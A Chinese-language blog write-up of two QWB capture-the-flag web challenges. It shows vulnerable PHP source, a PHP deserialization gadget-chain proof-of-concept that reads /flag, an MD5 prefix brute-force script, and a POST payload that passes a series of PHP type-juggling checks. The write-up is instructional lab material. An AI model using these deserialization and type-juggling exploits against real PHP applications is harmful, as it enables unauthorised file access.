参加qwb,才做出两道题,我好菜。。。。

赌徒

1、查找到备份文件,www.zip

源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        // echo '123323';
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        echo '123';
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

构造思路,序列化过程中,先触发start类里的__wakeup->__sayhello(),在利用_sayhello()触发Info类里的__toString(),最后通过__toString()触发Room类里的__get__get触发__invoke

poc

<?php
class Start
{
    public $name;  
}

class Info
{
    public $promise='I do';   
}

class Room
{
    public $filename = "/flag";
    public $a;
  
}


$the = new Start();
$the->name=new Info();
$the->name->file['filename']=new Room();
$the->name->file['filename']->a=new Room();

echo serialize($the);


?>

寻宝

这道题是套娃题

KEY1如下

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    


if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

第一层

字符串与数字比较时,会把自动把数字提取出来进行比较

第二层

image-20210616175407242

image-20210616184201000

第三层

比较md5

MD5爆破脚本

# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        # print value[start: start+str_len]
        if value[start: start+str_len] == substr:
            print rnds
            stop_event.set()
            '''
            #碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start+str_len] == substr:
            	print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                stop_event.set()
            '''
 
if __name__ == '__main__':
    substr = '4bf21cd'
    # start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = 7
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

第四层

比较数字与长度,长度可通过中文绕过,中文相当于3个字符长度

image-20210616184649729

第五层

json绕过

image-20210616184812270

payload

ppp[number1]=1025a&ppp[number2]=5e10&ppp[number3]=qA6HSoA23crdgIHAuoJm&ppp[number4]=0强网&ppp[number5]={"key":NULL}

KEY2如下

下载下来一堆文件,直接搜索KEY,找到key值

image-20210616173957257

image-20210616174021222

文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
渗透测试
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝